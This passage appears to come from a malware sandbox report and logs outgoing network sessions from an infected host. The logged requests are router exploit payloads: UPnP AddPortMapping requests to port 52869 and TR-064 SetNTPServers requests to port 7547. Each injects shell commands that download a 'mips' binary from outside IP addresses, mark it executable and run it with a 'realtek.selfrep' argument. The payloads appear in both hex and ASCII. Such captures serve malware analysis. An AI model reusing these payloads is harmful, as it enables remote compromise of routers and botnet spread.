4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.13	55110	203.99.106.59	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.201227903 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:25.248425961 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:27.392455101 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:31.744421959 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:40.192429066 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:58.624361038 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.13	59766	1.140.19.46	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.590519905 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.13	39280	47.199.235.25	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.815290928 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.13	45526	211.38.92.211	7547

Timestamp	Bytes transferred	Direction	Data
